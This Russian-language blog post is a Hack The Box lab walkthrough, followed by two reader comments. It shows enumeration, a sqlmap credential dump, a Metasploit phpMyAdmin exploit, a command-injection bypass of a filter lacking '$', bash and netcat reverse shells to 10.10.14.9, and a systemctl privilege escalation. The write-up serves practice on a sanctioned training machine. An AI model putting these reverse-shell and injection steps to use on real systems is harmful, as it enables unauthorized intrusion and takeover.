![](https://habrastorage.org/getpro/habr/upload_files/ab9/a64/74b/ab9a6474bbd62d81d17179651832a227.png)
Приветствую! Буквально вчера разбирал машину с HTB. Как по мне, отличный полигон по прокачке скилов в области sql инъекций, инъекций команд в командной строке, использованию метасплойта и повышению привилегий.
Для успешного прохождения необходимо:
Знать, как перечислять директории
Иногда смотреть url
Уметь "правильно”гуглить
Немного знать синтаксис питона (python)
В итоге мы узнаем:
На что обращать внимание в url
Как работать с sqlmap
Почему стоит качественно разрабатывать фильтры
Сбор информации
Именно с разведки начинается любая атака на целевую систему. Необходимо понять, что вообще можно атаковать. Используем сканер nmap.
nmap -A -sC -sV -Pn 10.10.10.143 -p-
Получили следующее:
![](https://habrastorage.org/getpro/habr/upload_files/ee4/8ea/706/ee48ea706082e46be14da28ceed3dca6.png)
Начнем с 80 порта. Посетим веб-сайт.
![](https://habrastorage.org/getpro/habr/upload_files/ba1/e35/f96/ba1e35f964bf11f27bae7b89c64ad50b.png)
На первый взгляд обычный интернет-магазин. Поклацаем по кнопкам и… будет результат)
![](https://habrastorage.org/getpro/habr/upload_files/0f0/5f2/3de/0f05f23de7266842227684817d1ea0af.png)
В url данной странице есть признаки sql инъекции (http://10.10.10.143/room.php?cod=3). Попробуйте поменять 3 на 1 и вы увидите, как вас перебросит на другую страницу. Для нас это сигнал, попутно запускаем перечисление директорий (использую gobuster).
gobuster dir -u http://10.10.10.143 -w /usr/share/wordlists/dirb/common.txt -x txt,php -e
![](https://habrastorage.org/getpro/habr/upload_files/4c3/b48/838/4c3b488387507a6e10fc8b3b37ed7582.png)
phpmyadmin… Теперь все ясно, сейчас расскажу. В интернете частенько можно увидеть связку LAMP – (linux, apache, mysql, php). Связка это используется для функционирования интернет магазинов и т.д., короче, где нужна база данных и php LAMP – это самый простой вариант. Администраторам порой сложновато работать с базой данных через консоль, чтобы создавать соответствующие запросы. Именно для них, добрые люди придумали фреймворк (phpmyadmin). Он попроще в плане управления и «очень хорошо» защищен.
План А такой:
Через sql инъекцию получаем логин и пароль админа phpmyadmin
Запускаем метасплойт и ищем эксплойт
Используем полученные данные для формирования боевой нагрузки
Входим в систему
Точка опоры
sqlmap – довольно хороший инструмент, правда следов оставляет море, но для нашей цели подойдет (мы же «белые хакеры»). Составим запрос следующего вида:
sqlmap -u http://10.10.10.143/room.php?cod=3 --batch --random-agent --passwords
![](https://habrastorage.org/getpro/habr/upload_files/225/55f/715/22555f715ab804e8219ad8ddfb5537f3.png)
Впринцыпе на этом можно заканчивать и переходить к плану Б (добавить в запрос
–os-shell), но мы идем дальше. Есть логин и пароль пробуем авторизоваться.
![](https://habrastorage.org/getpro/habr/upload_files/cb3/63e/122/cb363e122878f4cc3fb747741820568d.png)
Доступ получен, переходим к формированию боевой нагрузки. Запускаем метасплойт.
msfconsole
Ищем эксплойт.
search phpmyadmin
Нам нужен этот (exploit/multi/http/phpmyadmin_lfi_rce), но можете попробовать и другие)
use exploit/multi/http/phpmyadmin_lfi_rce
![](https://habrastorage.org/getpro/habr/upload_files/816/581/d3a/816581d3ae7ed5a37774b3ffdd6f8761.png)
Добавляем недостающие данные. Комментировать не буду, в интернете есть пару курсов по работе с метасплойтом.
set username DBadmin
set password imissyou
set rhosts 10.10.10.143
set lhost tun0
run
![](https://habrastorage.org/getpro/habr/upload_files/bad/ae2/b98/badae2b98207aec90a24cfb49bc30620.png)
Далее внутренняя разведка. Загружу мой любимый скрипт (linpeas.sh).
cd /tmp
upload linpeas.sh
Перейдем в оболочку bash.
shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
![](https://habrastorage.org/getpro/habr/upload_files/ec8/9db/105/ec89db1055d1548ba1533286c3045e4d.png)
Запускаем скрипт и идем пить кофе. Через пару минут есть результат. Мы можем запускать один файл с правами пользователя pepper.
![](https://habrastorage.org/getpro/habr/upload_files/e03/78b/f5d/e0378bf5d3af4572c02cf7f78f4b6467.png)
И также есть вектор для получения рута, но для этого нужно стать пользователем pepper.
![](https://habrastorage.org/getpro/habr/upload_files/c7b/d2d/f95/c7bd2df95ab8afe40fa156bce354e3f7.png)
ROOT будет наш
Посмотрим, что в этом файле (/var/www/Admin-Utilities/simpler.py).
cat /var/www/Admin-Utilities/simpler.py
Самое интересное тут:
def exec_ping():
forbidden = ['&', ';', '-', '`', '||', '|']
command = input('Enter an IP: ')
for i in forbidden:
if i in command:
print('Got you')
exit()
os.system('ping ' + command)
Суть - вводим ip и пингуем. Тут бы инъекцию команд применить, но есть фильтр.
forbidden = ['&', ';', '-', '`', '||', '|']
К счастью (для нас), упущен один символ «$». Этим и воспользуемся (запускать необходимо через пользователя pepper).
sudo -u pepper /var/www/Admin-Utilities/simpler.py -p
В качестве нагрузки:
$(bash)
![](https://habrastorage.org/getpro/habr/upload_files/7d4/972/f5d/7d4972f5d412d1d5692572db77dea0c6.png)
Работает, но отсутствует вывод команд, кинем удаленный shell. Все shell тут.
Я записываю в файл свою боевую нагрузку (bash -c "bash -i >& /dev/tcp/10.10.14.9/1234 0>&1") и поднимаю слушатель. Код следующий:
echo 'bash -c "bash -i >& /dev/tcp/10.10.14.9/1234 0>&1"' > shell.sh
Запускаю скрипт, но с другой нагрузкой:
$(/tmp/shell.sh)
![](https://habrastorage.org/getpro/habr/upload_files/59c/8d8/3ad/59c8d83ade3c84737517bd15c4e0bf18.png)
Хорошо, я pepper, время рута. Вернемся к этому бинарнику (/bin/systemctl).
Тут написано как его использовать для получения рута. Мне вчера пришлось немного допилить нагрузку, вот делюсь:
[Service]
Type=oneshot
ExecStart=/bin/sh -с "nc 10.10.14.9 1212 -e /bin/bash"
[Install]
WantedBy=multi-user.target
Мы не используем вывод через переменную $TF, а просто записываем это все в файл (ro.service), который доставляем вот так:
wget http://10.10.14.9:8000/ro.service
Время действовать (не забудь поднять слушатель).
/bin/systemctl link /home/pepper/ro.service
/bin/systemctl enable --now /home/pepper/ro.service
![](https://habrastorage.org/getpro/habr/upload_files/90a/171/912/90a1719127bdb566398f3c5c70ad8ccd.png)
В случае если у вас не получится, создайте файл с новым именем и повторите команды. Менять старый файл нет смысла, чтобы сработало надо перезапустить службу, а прав нет.
![](https://habrastorage.org/getpro/habr/upload_files/a9b/052/df8/a9b052df82d8de90c2031546ba60bdd9.png)
Тачка пройдена! ROOT наш.
Вместо вывода
Реалии таковы, что 80% успеха зависит от того, как ты умеешь искать. И лишь 20% от усидчивости) Тачка прикольная, респект автору. Всем удачного взлома!
TyVik
А где-нибудь есть docker-образы или виртуальные машины для самостоятельной тренировки? Помнится, в универе увлекался взломом crackme - бинарников, в которых нужно что-то поменять или узнать код. Хотелось бы такого же, но только не на платной площадке.
Letychiy Автор
Полный список площадок тут. В твоём случае Vulnhub, root-me, и docker-образы уязвимых веб приложений. Я бы не ставил крест на НТВ. Подписка дает возможность ломать машины которые "ушли на пенсию", а так можешь атаковать только активные...